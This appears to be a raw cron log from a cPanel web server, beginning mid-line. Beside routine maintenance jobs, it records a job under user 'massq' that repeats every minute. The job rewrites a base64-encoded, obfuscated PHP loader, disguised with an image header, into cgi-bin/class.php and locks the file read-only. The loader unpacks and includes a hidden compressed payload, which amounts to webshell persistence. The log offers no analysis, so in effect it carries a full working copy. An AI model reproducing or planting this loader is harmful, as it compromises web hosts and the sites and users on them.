7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:11:01 server CROND[24413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:12:01 server CROND[24887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:12:01 server CROND[24886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:12:01 server CROND[24888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:12:01 server CROND[24889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:13:01 server CROND[25269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:13:01 server CROND[25270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:13:01 server CROND[25271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:14:01 server CROND[25661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:14:01 server CROND[25662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:14:01 server CROND[25663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:15:01 server CROND[26050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:15:01 server CROND[26052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:15:01 server CROND[26053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:15:01 server CROND[26054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:15:01 server CROND[26055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:15:01 server CROND[26056]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:15:01 server CROND[26059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:15:01 server CROND[26057]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 05:16:02 server CROND[26947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:16:02 server CROND[26948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:16:02 server CROND[26949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:17:01 server CROND[27311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:17:01 server CROND[27312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:17:01 server CROND[27313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:18:01 server CROND[27808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:18:01 server CROND[27809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:18:01 server CROND[27810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:19:01 server CROND[28192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:19:01 server CROND[28193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:19:01 server CROND[28194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:20:01 server CROND[28573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:20:01 server CROND[28574]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:20:01 server CROND[28575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:20:01 server CROND[28576]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:20:01 server CROND[28579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:20:01 server CROND[28583]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:20:01 server CROND[28584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:20:01 server CROND[28589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:20:01 server CROND[28590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:21:01 server CROND[29417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:21:01 server CROND[29418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:21:01 server CROND[29419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:22:01 server CROND[29787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:22:01 server CROND[29788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:22:01 server CROND[29789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:23:01 server CROND[30250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
